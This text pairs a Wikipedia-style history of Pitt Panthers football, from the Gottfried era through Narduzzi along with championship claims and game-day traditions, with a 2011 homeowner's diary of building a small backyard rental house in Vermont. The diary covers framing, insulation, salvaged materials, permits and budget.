Mike Gottfried, who was previously Kansas' head football coach, recruited well, defeated rival Penn State twice, and led Pitt to the 1987 Astro-Bluebonnet Bowl and the 1989 John Hancock Bowl. Late in his tenure, the university's administration increased admissions standards for student-athletes to a level above those of its peer institutions and the NCAA. Gottfried fought these policy changes, which caused him to fall out of favor with the school's administration, including Chancellor Wesley Posvar. Additionally, Gottfried had poor relations with boosters, alumni and the media. As a result, Gottfried was fired after the 1989 season despite a 27–16–2 overall record.[78][79]
Gottfried was replaced by his offensive coordinator, Paul Hackett, just prior to the 1989 John Hancock Bowl in which Pitt defeated Texas A&M. Under Hackett, the Panthers went 3–7–1 in 1990, improved to 6–5 in 1991 but fell to 3–8 in 1992, leading to his dismissal as head coach. Assistant coach and Pitt alumnus Sal Sunseri took over as interim head coach for the final contest at Hawai'i. With new academic policies in place, the football program underwent a steep decline. Hackett only posted one winning season. Hackett's overall record at Pitt is 13–20–1.
In 1991 Pitt joined the new Big East Football Conference, thus ending its history as a football independent. Pitt had been a member of the Big East in most other sports, including basketball, since 1982.
The university again looked to its past to reverse its fortunes and brought back Johnny Majors, who had recently resigned from Tennessee after a successful 16-year tenure there. However, recruiting had fallen off significantly under Hackett, and the quality of Pitt's football facilities had fallen behind those of its competition. Over the next four years, Majors tried to recreate the magic of the 1976 season but achieved little success. His final campaign in 1996 resulted in a 4–7 record which included several humiliating defeats. A new chancellor, Mark Nordenberg, brought in athletic director Steve Pederson in 1996 to resurrect the program.[80] The move facilitated Majors' retirement from coaching following the 1996 season, although he continued to serve the university in the position of Special Assistant to the Athletic Director and Chancellor until the summer of 2007.[81]
Walt Harris and Dave Wannstedt (1997–2010) [ edit ]
The Pitt football program saw many changes instituted in 1997. New athletic director Steve Pederson moved to revamp the athletic department after the preceding years had wounded the program's image.[82] A controversial emphasis on the use of the full name "Pittsburgh", at the expense of the university's abbreviated moniker "Pitt", along with new logos designed to invoke the heritage of the steel industry in the region, were instituted in an attempt to tie the school more closely to the image of the city. New shades of blue and gold were introduced and the athletic booster club was overhauled.[83] Walt Harris, who had built a reputation as a quarterback guru with a background in the West Coast Offense, was brought in to replace Majors in 1997 and undertook the task of rebuilding a program that won only fifteen games in the previous five seasons. Results were almost immediate as Harris took Pitt to the 1997 Liberty Bowl in his first season, finishing with a 6–6 record. Over the next two seasons, the Panthers posted a losing record as Harris worked on enhancing the talent in Pitt's program. At the same time, the university administration decided to bring the football program's deteriorating facilities in line with those of Pitt's peers. A state-of-the art practice facility, the UPMC Sports Performance Complex, was constructed on the city's South Side in collaboration with the University of Pittsburgh Medical Center. In lieu of much-needed but cost-prohibitive renovations to modernize Pitt Stadium, the administration made a controversial decision to move home games to the newly proposed North Shore stadium, later named Heinz Field, and to demolish Pitt Stadium in order to build a long-awaited convocation center on its footprint.[84] 1999 was the final season for the Panthers in Pitt Stadium, which had served Pitt for 75 seasons. On November 13, 1999, the Panthers upset Notre Dame 37–27 in the last game played at the stadium. Although the Panthers showed improvement during the 1999 season, their loss in the season finale at West Virginia left them with a 5–6 record and without a bowl.
Pitt played its home games in 2000 at Three Rivers Stadium. Behind an increasing number of talented players, led by Biletnikoff Award winner Antonio Bryant, Pitt was back to a winning record in 2000 and played Iowa State in the 2000 Insight.com Bowl. In the second game of the 2000 season, Pitt defeated rival Penn State 12–0 which was the last game played between these two teams for 16 years.[85] In 2001, Pitt began playing its home games at Heinz Field. Additional bowl games and national rankings followed over the next four seasons. Overall Harris led the Panthers to a bowl game in six of his eight seasons, including five consecutive bowl games from 2000 through 2004, with bowl victories in the 2001 Tangerine Bowl over North Carolina State in 2001 and, led by Biletnikoff and Walter Camp Award winner Larry Fitzgerald, over Oregon State in the 2002 Insight Bowl. Harris also led Pittsburgh to a share of the Big East Conference championship in 2004 and Pitt received the conference's automatic Bowl Championship Series (BCS) bowl bid, playing Utah in the 2005 Fiesta Bowl. Harris was named the Big East Conference Coach of the Year in 1997 and 2004, and he was the AFCA Region I Coach of the Year in 2002. Over his eight years at Pitt, from 1997–2004, Harris compiled an overall record of 52–44. However, alumni and fans were growing restless with perceived recruiting deficiencies and an inability to return the program to the highest level. When disparaging remarks about the program were made by his agent, Harris' contract negotiations with the school stalled. This led to an announcement prior to the Fiesta Bowl in 2004 that Harris was leaving Pitt to become head coach at Stanford.[86]
Uniform from 2005 season (left) and the era from 1973–96 (right) on display at Heinz Field
Dave Wannstedt, a Pittsburgh area native and former Pitt player, graduate, and graduate assistant coach (1975–78), who had recently resigned as head coach of the NFL's Miami Dolphins, succeeded Harris as Pitt's head coach on December 23, 2004. Wannstedt's return to his alma mater was marked by a return to the use of the wordmark "Pitt" as a logo, including its display on the football helmets.[87]
Known for his prowess in college recruiting when an assistant to Jimmy Johnson, Wannstedt reeled in classes that were nationally ranked throughout his tenure at Pitt.[88][89] However, little improvement was seen at first in the record column as Pitt struggled with a 5–6 and 6–6 record in his first two seasons. The 2007 season featured several close losses, but the team showed signs of improvement on the way to a 4–6 record prior to the last game of the season at number two ranked West Virginia. The game in Morgantown on December 1, 2007, was the 100th Backyard Brawl, and would prove to be one of the greatest of the series. The four touchdown favorite Mountaineers needed only a win over archrival Pitt to earn a spot in the BCS National Championship Game. However, Wannstedt earned his signature victory and marked a turning point for the program with perhaps the biggest upset in both schools' histories when Pitt defeated West Virginia 13–9 and thus prevented the Mountaineers from playing for the national championship.[90]
The following season, Pitt recorded key victories against Iowa, tenth ranked South Florida, West Virginia, and a 36–33 four-overtime thriller at Notre Dame, the longest game ever for both Notre Dame and Pittsburgh. A close defeat in the River City Rivalry against Cincinnati cost Pitt a conference championship, but the Panthers played in the Sun Bowl, its first bowl bid under Wannstedt, and finished with a 9–3 record. In 2009, Pitt shot off to a 9–1 start, its best start since 1982, with impressive wins over Navy, Notre Dame, and Rutgers, and had climbed to ninth in the AP and BCS polls. However, Pitt lost its final two regular season games, including a last second loss by a field goal at West Virginia and a one-point loss at home for the Big East championship to undefeated Cincinnati. The Panthers rebounded by winning the Meineke Car Care Bowl over North Carolina, 19–17, to finish ranked 15th and achieve its first ten-win season since 1981. In addition, Pitt players garnered many post-season accolades, including Big East Offensive Player and Rookie of the Year in Dion Lewis, and Big East Co-Defensive Players of the Year in Mick Williams and Greg Romeus.
Prior to the 2010 season, Pitt was selected as the preseason favorite to win the Big East and was ranked fifteenth in the preseason polls. However, Pitt stumbled out of the gate with an overtime loss at Utah and dropped out of the polls for the remainder of the season. Although they claimed a share of the Big East championship (along with Connecticut and West Virginia), Pitt ended the regular season with a disappointing 7–5 record and an invitation to the BBVA Compass Bowl. This prompted Dave Wannstedt's resignation as head coach on December 7, 2010,[91] with defensive coordinator Phil Bennett taking over for the bowl game.
Haywood, Graham, and Chryst (2010–2014) [ edit ]
Coach Chryst
On December 16, 2010, Miami (OH) head coach Mike Haywood was introduced as Wannstedt's replacement as head coach.[92] At his introductory press conference, athletic director Steve Pederson said Haywood was "a man of integrity and character and will be a true inspirational leader for our football team."[92] However, Haywood's arrest on domestic violence charges in South Bend, Indiana on December 31, two weeks and two days later, prompted Pitt to fire him immediately.[93] Haywood never coached a game, recruited a player, led a practice or even hired an assistant coach at Pitt. His sixteen-day tenure at Pitt is the second shortest in FBS history (only to George O'Leary's five-day tenure at Notre Dame).[94] Despite the turmoil, Bennett led the Panthers to a 27–10 bowl victory over Kentucky on January 8, 2011.[95]
Following the bowl win, Pitt announced Tulsa head coach Todd Graham as the new head coach of the Panthers.[96] At his introductory press conference, Graham talked about how Pitt was a "dream come true" and that he would work hard every day to "gain everyone's trust" and that he would coach his players to do the same.[97] Graham instituted a sweeping change of offensive and defensive philosophies[98] but staggered to a 6–6 regular season. However, major news for the university was announced in September of that season when Pitt accepted an invitation to join the Atlantic Coast Conference effective July 1, 2013.[99] On December 14, 2011, less than one year after being hired, Graham shocked Pitt when he resigned to take the head coaching position at Arizona State.[100] Defensive coordinator Keith Patterson was named as the interim head coach for the BBVA Compass Bowl,[101] which the Panthers lost to Southern Methodist by a score of 28–6.[102]
On December 22, 2011, Wisconsin offensive coordinator Paul Chryst was introduced as the head coach[103] and lead the Panthers in their final season of the Big East which included another appearance in the BBVA Compass Bowl and a 6–7 final record.[104] Chryst's hiring made him the Panthers' fourth head football coach since December 2010 (sixth counting interims).[103]
Chryst led Pitt into the Atlantic Coast Conference where the program competed in the conference's Coastal Division during the 2013 season. The Panthers again posted a 6–6 record in the 2013 regular season and accepted an invitation to the Little Caesars Pizza Bowl, where they defeated Bowling Green 30–27.[105] On December 17, 2014, Chryst was announced as the new head coach at Wisconsin; athletic director Steve Pederson was fired on the same day as Chryst's departure.[106] On December 17, 2014 Joe Rudolph was named interim coach for the Armed Forces Bowl against the University of Houston.[107]
Pat Narduzzi era (2015–present) [ edit ]
Coach Narduzzi
On December 26, 2014; Michigan State defensive coordinator Pat Narduzzi was named the 37th Pitt head coach.[108] Although he didn't have any head coaching experience, Narduzzi was regarded as one of the country's best defensive minds and assistant coaches who had recruiting strong ties to the northern United States and, specifically, east Ohio and west Pennsylvania.[109] Pittsburgh signed Narduzzi to a five-year contract.[110]
Pitt went 8–5 in 2015.[111] The Panthers began the Narduzzi era on September 5 with a 45–37 victory over FCS opponent Youngstown State.[112] Pittsburgh won their second game of the season the following week, defeating Akron by a score of 24–7.[113] After a 27–24 loss to Iowa,[114] Narduzzi's squad defeated Virginia Tech by a margin of 17–13.[115] In the season's fifth game, the Panthers defeated Virginia by a score of 26–19.[116] A third straight win came on October 17 with a 31–28 victory over Georgia Tech.[117] After a 23–20 victory over Syracuse,[118] Pittsburgh suffered its second defeat of the season with a 26–19 loss to North Carolina.[119] On November 7, Narduzzi's Panthers lost to #8 Notre Dame by a score of 42–30.[120] That was followed by a 31–13 victory over Duke.[121] After a 45–34 victory over Louisville,[122] Pitt fell to Miami in the regular season finale by a score of 29–24.[123] The Panthers accepted an invitation to the Military Bowl, where they lost to #21 Navy by a margin of 44–28.[124] During the 2015 season, Pitt was ranked in the AP top 25 for the first time since 2010. Narduzzi's first full recruiting class, in 2016, was ranked 30th in the country, Pitt's highest ranked class since 2008.[125] On December 10, 2015; Pitt signed Narduzzi to a two-year contract extension and raised his pay.[126]
The Panthers finished with another 8–5 record in 2016.[127] In the season opener, they defeated in-state FCS opponent Villanova by a score of 28–7.[128] After a 42–39 victory over archrival Penn State,[129] Pittsburgh suffered their first loss of the season, dropping a 45–38 contest to Oklahoma State.[130] After a nailbiting 37–36 loss to North Carolina,[131] Narduzzi's team won a 43–27 contest over Marshall on October 1.[132] A second straight win followed one week later when the Panthers defeated Georgia Tech by a margin of 37–34.[133] Narduzzi's squad won a third straight game On October 15 when they defeated Virginia by a score of 45–31.[134] Pittsburgh then suffered consecutive defeats, falling to #25 Virginia Tech by a margin of 39–36[135] and Miami by a score of 51–28.[136] On November 12, the Panthers traveled to Clemson, South Carolina and knocked off #3 Clemson by a score of 43–42 on a late field goal.[137] Pitt followed that huge upset victory with a 56–14 blowout win over Duke[138] and a high-scoring 76–61 shootout victory over Syracuse to finish the regular season.[139] Pittsburgh accepted an invitation to the Pinstripe Bowl, a game they lost to Northwestern by a score of 31–24.[140]
Pittsburgh slipped to a 5–7 record in 2017.[141] The Panthers kicked off the season on September 2, defeating FCS Youngstown State in overtime by a score of 28–21.[142] One week later, Pitt lost the Keystone Classic to archrival #4 Penn State by a margin of 33–14.[143] In the season's third game, Narduzzi's squad lost its second straight contest with a 59–21 defeat at the hands of #9 Oklahoma State.[144] After a 42–10 victory over Rice,[145] the Panthers lost another two straight; falling to Syracuse by a margin of 27–24[146] and #20 NC State by a score of 35–17.[147] Pitt then won their next two; defeating Duke by a margin of 24–17[148] and Virginia by a score of 31–14.[149] After a 34–31 loss to North Carolina[150] and a 20–14 defeat to #17 Virginia Tech[151] knocked the Panthers out of bowl contention, Narduzzi's team finished the season with a big upset victory, stunning #2 Miami by a score of 24–14.[152] On December 6, 2017, the University of Pittsburgh administration signed Narduzzi to another contract extension and raise, extending his deal by seven years.[153] Narduzzi led Pitt to its first ACC Coastal Division Championship in 2018.[154]
National championships [ edit ]
Pitt claimed [ edit ]
Some of Pitt's national championship trophies
The University of Pittsburgh claims nine National Championships: 1915, 1916, 1918, 1929, 1931, 1934, 1936, 1937, and 1976[4] out of a total of 12 seasons[n 4] that it has been selected as a national champion by a "major selector" as determined by the Official NCAA Records Book[156] and out of 16 seasons that it has been named the National Champion by at least one selector according to research by the College Football Data Warehouse.[30]
The university bases its claim for the first eight national championships on a study conducted in 1970 by Sports Illustrated.[4][43] These championships, together with its unanimous championship of 1976, are the basis for the university's claim of nine national championship seasons. Combining CFBDW research with the Official NCAA RecordsBook and Sports Illustrated study, Pitt has been recognized as the National Champion by at least one selector in 17 different seasons.[n 5]
Using the research compiled by Sports Illustrated, the nine national championships claimed by Pitt are presented in their annual football media guide as follows:[4]
NCAA records book [ edit ]
see also: Year-by-year list of "Major" National Championship Selections
According to the Official NCAA Division 1 Football Records Book, Pitt has been named a national champion by a "Major Selector" in 11 separate seasons.[157] The seasons listed in the NCAA Records Book include:
1910 • 1915 • 1916 • 1918 • 1929 • 1931 • 1936 • 1937 • 1976 • 1980 • 1981
CFBDW [ edit ]
College Football Data Warehouse lists nine recognized national championship seasons in which the University of Pittsburgh was named a National Champion. CFBDW lists the Joe Thompson coached 1910 undefeated and unscored upon team as a recognized National Champion, whereas the university does not claim this championship. However, CFBDW does not list the 1934 season, claimed by Pitt, as a recognized championship season. The following nine seasons are the years Pitt is listed as a Recognized National Champion in College Football Data Warehouse:[158]
1910 • 1915 • 1916 • 1918 • 1929 • 1931 • 1936 • 1937 • 1976
According to research conducted by College Football Data Warehouse, in 10 additional seasons to the ones listed above, at least one selector of national championships has declared Pitt as its National Champion for a total of 16 selections. The 16 seasons that Pitt was selected as a National Champion by at least one selector according to CFBDW research include:[30]
1910 • 1915 • 1916 • 1917 • 1918 • 1925 • 1927 • 1929 • 1931 • 1933 • 1936 • 1937 • 1938 • 1976 • 1980 • 1981
National Poll-era (1936–present) [ edit ]
Since the advent of the AP Poll in 1936, Pitt has been selected as its National Champion twice, in 1937 and 1976. It should be noted that until the 1968 college football season, the final AP poll of the season was released following the end of the regular season, with the exception of the 1965 season, and did not consider the results of bowl games. The other major national poll, the Coaches' Poll, began in 1950 and has selected Pitt as its National Champion once, in 1976.
Summary [ edit ]
The following table summarizes the source and totals for Pitt's national championship seasons.
Conference affiliations [ edit ]
Conference championships [ edit ]
Pittsburgh has two conference championships.
† Co-champions
Division championships [ edit ]
Pittsburgh has one division championship.
Year Division Coach Opponent CG result 2018 ACC Coastal Pat Narduzzi Clemson L 10-42
Bowl games [ edit ]
Pitt has been to 34 bowl games throughout its history, winning 13 and losing 21.
Facilities [ edit ]
The team first played at Recreation Park. Beginning in 1900, the Panthers played their games at Exposition Park on the North Shore of Pittsburgh, sharing the stadium with the Pittsburgh Pirates.
In 1909 the Panthers, along with the Pirates, moved to Forbes Field, located on campus, where they played until 1924. In 1925, Pitt Stadium was completed on the opposite end of the campus, giving the Panthers their only private stadium. Pitt Stadium was home for the Panthers although the Steelers also used it for home games in the mid-1960s. Following the demolition of Pitt Stadium in 1999, the Panthers moved to Three Rivers Stadium, again on the North Shore, where the Pirates and Steelers had played since 1970. A handful of nationally televised Pitt Panther football games from the late 1970s to 1999 were played as home games not at Pitt Stadium but at Three Rivers with its more modern facilities.
Heinz Field opened in 2001, where the Panthers currently play as a co-tenant with the Pittsburgh Steelers. The Panthers' practice facility is the University of Pittsburgh Medical Center Sports Performance Complex which is also shared with the Steelers.
Firsts [ edit ]
Pitt football has been involved in several notable first-time occurrences in the history of college football, including:
Traditions [ edit ]
The Panther (Felis concolor) was adopted by the university as its official athletic mascot by a group of students and alumni in 1909. The suggestion to adopt the Panther as mascot was made by George M. P. Baird, Class of 1909. Over 20 representations of panthers can be found in and around the university's campus and athletic facilities, including outside Heinz Field. Students, alumni, and fans rub the nose of one Panther statue in particular, the Millennium Panther located outside the William Pitt Union, in order to bring good luck to the football team prior to games.[164] This tradition was featured in a national television advertisement for the 2012 Hyundai Tucson automobile.[165] In addition, a costumed mascot, named "Roc", performs with the Pitt Cheerleaders at various athletic and non-athletic university events.
Among the oldest traditions is the Official University Yell, dating to 1890, that has survived as lyrics within the fight song "Hail to Pitt". This song, along with the Pitt Victory Song, and The Panther Song, are the most common of Pitt fight songs performed on game days by the Pitt Band. The Pitt Band also participates in the "Panthers Prowl" which begins two hours before kickoff and allows fans to meet the team as they make their way into Heinz Field outside Gate A. Originally, this tradition began as players made their way into Pitt Stadium.[166][167] One hour prior to kick off, the Pitt Band also engages in the "March to Victory" from Tony Dorsett Drive down General Robinson Street and ending at the stage on Art Rooney Avenue. This tradition dates back to before the move to Heinz Field when the Pitt Band would march throughout the streets of Oakland campus before arriving at Pitt Stadium.[166][167] In addition, at halftime, the band typically will play in at least one formation spelling out "PITT". Other football traditions include:
Hail to Pitt Flag on display during pre-game ceremonies
A giant inflatable football helmet is set up on the lawn of the William Pitt Union during the week prior to football home games. Typically, information or other freebees are distributed around the helmet prior to the day of the game. [168]
A 50-yard-long Hail to Pitt Flag is carried by 100 students, selected for each home football game, onto the field during pre-game ceremonies. [168]
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used scrap wood on the crawl space cover, and have very little scrap left. I hooked up an CAT6 Ethernet line in the extra PVC I ran to our modem in the big house and upped our Internet speed so we can share. When I did, I found that the crawl space is already wet on the wood and side walls. I do need to put down a layer of 6mil plastic, but it’s only about $38. Speaking of money, we’re hitting close to 50K on the house. Mostly labor driving us over by continuing to have others work so we can move fast, and by doing things like the fan, washer dryer, etc. with expensive electricians and plumbers.
On Nov. 2nd we had our Efficiency Vermont inspection. Jenn did a blower door test and took all kinds of notes on every appliance and light. She took measurements and then did the blower door test. She said, “188CFM 50 on the ‘C’ ring, I’ve never had to use the ‘C’ ring before!” so it’s TIGHT.
On Nov. 7th our check came from the town for $3000.00. We expect Efficiency Vermont’s check within a month and we’re exploring federal tax breaks.
October 21st, 2011: I’ve not posted mostly due to being too busy! We’re down to the wire. A week ago I couldn’t sleep after I made a list of what was needed and how much time Gabe and Scott had. I had one night of fear and loathing that involved several trips to my laptop after failed attempts at sleeping. I would go over the lists and the budget and the person-hours. It just wasn’t possible to finish. Then Gabe and worked out that he could leave his tools and his carpenter friend, Rick, could take over. Then I found a local guy named Dylan who needed some assistant type-work. Both of their hourly rates were fair and lower then Gabe and Rick due to having less tools and doing it part time.
Dylan and I were able to finish the second coat of paint. Dylan reminded me that you can mix paints if they are all latex. We mixed four different gallons of salvaged paint and some paint from the basement, all white, antique white or similar. It worked like a charm.
Dawn came and later that day I called Gabe and we worked it out. He’d come for 1.5 more days, and work on he all important stair railing to fire code, and kitchen. Monday came and it all worked out! By Tuesday we had a floor and kitchen in enough for me to finish.
So last week I was running around between my day job and the lumber yard picking up shiplap pine. The entire house, framing, studs, joists, floor, interior walls, loft is ALL pine. And it’s on Pine Street even!
Merrill Gas came with heater on Tuesday. It’s a Rinnai 11,000 BTU jobby for about $1000. It’s wonderful! Small, quiet and when it reaches temperature it just slows way down and keeps a trickle of heat coming out, vs turning off. This makes for a very quiet heater! Of course the used gas stove didn’t work! Maybe it was broken, maybe it was the hose I washed it with? Or the month outside? What to do? Laura and I mulled online.
I used the nail gun Gabe left to put up more shiplap on the bathroom walls so the plumbers could do their final installation.
Then by Friday the plumbers got the little “low boy” water tank in. It was delayed due to the truck that was bringing it here breaking down. Victor the electrician could now wire for it. I had forgotten that sequence of events was the only way to do it! It was a little chaotic.
Near the end of the week Laura’s mother came up to help and visit. She was great in helping us with all the house chores that we’ve neglected. Laura and she did all the yard work, cleaning and small jobs in the tiny house that they could.
And on Saturday my brother David came from Portland, Maine to help and to DJ our Tiny Dancer House Party. It was a blast! Pics. We danced on the unfinished floors in shoes! Oy…the dents might be a problem.
Basically a blur of a few weeks.
Sept. 27, 2011: Gas powered tankless how water heaters are so sexy! But alas, finding a direct vent one (since I don’t have a chimney), worth a damn for anything close to $800 with installation is hard. For now I believe I’ll settle for a 20 gallon traditional style at under $300. I’ll wait for their cost to drop, then maybe get them for both houses.
Sept. 25, 2011: Power is on. Things are getting comical, fast and cool.
Comical #1: The poor fiberglass shower stall. It has sat patiently watching construction from its back yard perch for the last 6 months since we bought it used for $100. The shower stall being one, it was brought through the front door – but wait, it didn’t fit! Gabe and Scott were shocked. Andrew and I tried it that night, upside down even, angled, sideways, and no go. The next day the plumbers tried it. No go. It’s THAT close, but no close enough. We could take the trim down, but it’s all pained, leaded, and in. Labor would cost to take it out and put it back. So we’re going with a new shower, $300.00 and will sell the old one.
Comical #2: Renew Salvage actually called Friday after all these months of having our supply lists and said a stackable 24″ wide washer dryer just came in. I drove over after work. It was a Whirlpool in great shape and the dryer is run on propane! This means the it can hook up to the system for the heater and cook stove, and that means the tenant will pay the bill. It was $400, about $700 cheaper than a new one. So while were not planning on buying one this year and letting the tenant either buy one themselves or use ours, we bought it. Installing it, now that of course turns out to be hard! The conversation with Matt at the excellent Merrill Gas went like this:
Me: “I scored a great stackable W/D with a propane dryer!”
Matt: “They are great, but I bet you want it in a bathroom right?”
Me: “Is that a problem?”
Matt: “Usually. Unless you want to cut a hole in the floor, or have levered doors to let more air in, but who wants levered doors in a bathroom?”
Me: “I do.”
Matt: “Really?”
Me: “Really, it’s a great W/D. If the tenant has gas, and happens to have a date, they can send them outside for minute.”
Matt: Lots of laughter, “Okay, we’ll hook it up with the stove and Rinnai.”
Fast : The loft and stairs went in very fast. We’re keeping them raw wood, maybe with something like Poly on the loft floor, Tung oil on railings and such and maybe nothing on the stairs for now. The stairs seem like they will double as a closet and storage and are not a big as we thought.
: The loft and stairs went in very fast. We’re keeping them raw wood, maybe with something like Poly on the loft floor, Tung oil on railings and such and maybe nothing on the stairs for now. The stairs seem like they will double as a closet and storage and are not a big as we thought. Cool: The metal from the roof of the garage looks great all washed up and on the ceiling. We were four sheets short, so we put new metal in the loft by the bed. The tenant came over and likes it.
September 11th, 2011: Moving fast now. Gabe and Scott jammed this week and got the sheetrock, loft, and some other little stuff done. Time for us to start mudding. We also did a test of using the old galvanized metal roofing from our garage on the ceiling. It looked cool, but stained. I washed each sheet today with a hose first on both sides. Then with sponges and a hard brush I used Bon Ami powder with pure vinegar, and bleach for the tough spots – all quickly rinsed off. It got rid of the mildew and rust from them sitting out covering our lumber. We’ll need a few more sheets of new metal roofing since we don’t have quiet enough to for the whole ceiling, but we’ll use those in the loft at the back.
September 8th, 2011:
We got a tenant! I posted to my work community and someone responded. We met and they are into moving in Oct. 28th and even helping finish little details. They even said they’d by a washer/dryer we could buy off them when they leave. It’s a good fit and we’re excited. I think we might have been able to get more then $775.00/month (tenant pays heat, we pay electric/water), but having a happy tenant is better then a few more dollars right now. Perhaps when it’s all up and running after a year, we’ll reconsider cost. We’re over budget! And we made the budget a public Google spreadsheet. Long live open source! No wait, that’s bad. We’re finding that our busy lives, and having a good tenant, means we are more willing to pay to have things done. We intend to mud and paint the sheetrock and put down and finish the pine floors. We’ll see. Dense pack cellulose is done! Fascinating how they staple up the netting that allows them to pump the cellulose in tight, then they add a second set of huge staples that tightens the netting down even further. The place feels very warm, quiet and smaller.
August 30th: 2011: Gabe and Scott got it all buttoned up weather tight a day before Irene hit. Now, the inside starts.
August 24th. 2011: A week ago we were almost framed to weather tight! One door and two back windows short. We are not in the productivity doldrums. August in New England. Carpenters on summer break. Subcontractors stopping by when they can. We practice being a low maintenance client, part of which is not being in a hurry. We’ve been cleaning up the site, painting trim slowly after work before it gets dark, etc.
August 3rd, 2011: Gabe and Scott are framing away. The 2×6 Advanced Framing Technique seems a very efficient and an elegant use of lumber. The metal bands that take the place of wall sheathing are particularly interesting (see photos on main post). In general, there’s a lot less lumber, less scrap, and the 24″ stud bays make for better insulation. The roof should be on this week and trim and windows/doors next week. Then we’ll tackle the long process of finishing the inside. Laura and I are foam insulating the floor joists this week. This weekend we’ll install the ridged foam on the walls and gable ends, as well as prime the trim board to be all ready next week for siding.
July 21st, 2011. While we are road tripping in Nova Scotia we just got a text and a photo from Gabe that the framing started Thursday. He’s a pic from his phone. Going to do some hiking, so we’ll be offline for a week most likely. Back the 31st.
July 16-31st, 2011. We’re on a delayed honey moon in Nova Scotia lounging, camping and hiking. Gabe is framing to weather tight while we’re gone.
July 11th, 2011. Foundation is insulated to r20! It basically sucked as a job,but Laura and reminded our selves when we got cranky and fought that we were saving money,and that hard work feels great for many more days then it takes to do. It was a two day job during brutally muggy 85 degree plus. We impact drilled holes in the concrete to hold the two staggered layers of 2″XPS foam. We decided against a nail gun because we wanted to make sure to not destroy the foam,and so we could tighten the force of the screws to just the right tension. We used another drill to put in the the concrete screws with large sheet metal washers we hand punched holes in. And we glued the two layers together as well. One day we were so spacy from the summer heat that we kept forgetting things at the lumber store,like what we needed,our credit cards,etc. The hardware guys laughed at us. Laura became an expert foam cutter (score and punch) and I rediscovered my impact tool grip and old shoulder injuries. This foam will not be coming off that wall anytime soon. The framers is starting this week,hopefully,so it had to be done.
June 28th, 2011. We found two brand new 24″ octagon windows at Renew for $60 each! And a 3′ x 3′ used shower stall in good shape. We’re going to put the windows in the north side, with one that opens in the bathroom, and one that is fixed in the kitchen. This means we save a couple of hundred dollars and get an extra window in the kitchen.
June, 18th, 2011. Work at home weekend. Breaks from end of school year evals were sifting dirt in a homemade sifter. When we sifted the dirt I was reminded of how in the industrial revolution we invented so many machines, like giant gravel sifters, to do manual labor jobs. And the ideas came from watching how we did it manually with our bodies and making a big machine that did the same movement. Amazing how advanced we got using such simple ideas. Anyway, we used the dirt to level the site more where water was pooling, and the gravel for the new dirt part of driveway now that we need to be able to park side-by-side.
June 15th, 2011. We have final plans with the new stairway up to firecode. We did a walk though with our framer Gabe yesterday. He came over and we went though the plans. He also had bad news. He got sick, which pushed his other job back, which pushed us back to July 15th for him to start. Not much to do about it. We’ll be traveling then for a week, back a week, and then gone a week again. Over the last few weeks we have got a $35 low-flow toilet, a $10 stove hood,.50 a board foot 2x4s at Renew salvage. We’ve also paid the excavator who was on budget.
May 27th, 2011. After three estimates around the same price, and some negotiation, we’ve picked a framer! Gabe and crew will start end of June. It’s about 1/4 of our budget to get the house to “weather tight.” We feel this is crucial to be done quickly by a crew, so rain doesn’t damage anything. With the subfloor, roof, walls, windows, doors and siding on, we can work inside slower. We’ve seen Gabe’s work before in a friends house, and we liked it. He’s a local boy who knows the other contractors well. We’re now gathering salvaged supplies. Laura and got a $35 low flow toilet in good shape from Renew, and 40, 12′ 2’x4’s for $80! We’re stacking them in the back yard. We’re going to keep looking at Renew, until a week before framing starts, and then order everything we’ve not got new. This saves Gabe’s time trying to find salvaged materials. Time is money for sure in this situation. Also today, we found a kitchen! A friend is taking down a small galley kitchen in our neighborhood and we can have all the counters and cabinets if we help him take it down and give him a little money.
May 18th, 2011. A crowbar smashes through our foundation saving hours of work with an impact hammer, and our bushes are donated to neighbors. Jim the excavator returns and we talk after he’s done we Laura and I return from work. As usual, he’s not only a mentor, but a pro. He calls ahead and coaches us on buying Schedule 40, 2″ and 3/4′ Conduit for water and misc. XPS 2″ foam, what stuff we need to move from the edge of the house, and raking the bottom of the foundation until it’s clear of rocks. All before 8am when they arrive. This is because the two trenches for water and sewer are to be dug and the plumber will be on hand as well. This is a high dollar day if thing takes too much time. That night Laura and I move things in the rain from the edge of our. We wake up at 6:30am to do the rest and it starts pouring rain as soon as we’re dressed and out the door. Laura valiantly decides she’d rather rake the rocks and concrete out of the foundation, and have me drive to Perkins for the supplies. Jim arrives and we go to to work. I get a call at noon that we need more PVC conduit and if got it it would save me money. I arrive at the site with the supplies to find a most excellent thing has happened. Jim was able to use a crowbar to punch a hold through our foundation! This saves me doing it with a rented hammer and backfilling by hand. The slate rock and sandy soil made it possible. And the bushes are gone and he found folks he knows who want them. Full post here.
May 12th, 2011: Our alternate tread stairs looked have fallen on hard times! But the pouring part of the foundation is done! After a few mis-steps we have achieved an approved fire code construction permit, in addition to the zoning permit. But, the stairs are not up to NFPA 101 – 7.2.2, never mind section 7.2.2.2.3.3 on hand rails. Bob? Help…
May 9th, 2011: They are pouring the walls today. The plumber Dale has talked to Brad (their kids are dating) and knows where, and how high, to put the hole for the toilet. We spent a few hours over the weekend discussing, calling Bob, and strolling around the site mulling with my friend Junio, the different approaches to electrical lines to the house. Our maybe electrician was nice enough to check in over the weekend, even though we’ve not settled on an plan with him – as was Bob. We’re poring this morning, so it has to be decided. The variables were where to come into the house through the foundation wall, since they have to put a hole in before they pour, or in a separate trench around the outside of our house, from the point where electric enters our house. Or through our basement in a pipe above the water pipe. And if we want a separate meter, which is 2-3K!. And that has a lot to do with if we want electric baseboard heat, which takes more load, or if we go gas heat/stove we can maybe avoid a separate meter. These variables feed into the long term costs for the tenant, and how we make sure they pay for their heat and electricity. We like gas heaters and stoves but it’s about 2-3K more then simple baseboards. We’ll have to do a spread sheet on actual costs and benefits…
May 3rd, 2011: Jim Herrick arrived today to break ground. He’d taken care to call the Town utilities office several times, so a couple of guys from the Town arrived shortly after he did. All was well with them and they left. Jim then destroyed the garage foundation is a matter of minutes. The best part was when he stopped destroying and gently dug up some flowers near the foundation. The steel jaws of his machine set the flowers down in the lawn unbroken and with roots intact and ready to be transplanted. He’s a pro.
April 30th, 2011: The garage is no more. Glenn showed up right at 10am and helped me sawsall (with respirators due to lead painted clapboards) the walls in sections while Laura started on the dumpster and moving our garden to the front of the house. Mo, Jill, and TJ came by after lunch when Glenn left and we all filled the 22′ dumpster to the rim. We now have a huge open space in our back yard, giving us momentary thoughts of just having a big back yard and no house at all. But financially, not so smart. But we are going to move the shed roof of the tiny house to the other side, so we gain 4ft of lawn. Main post with photos.
The garage is gone
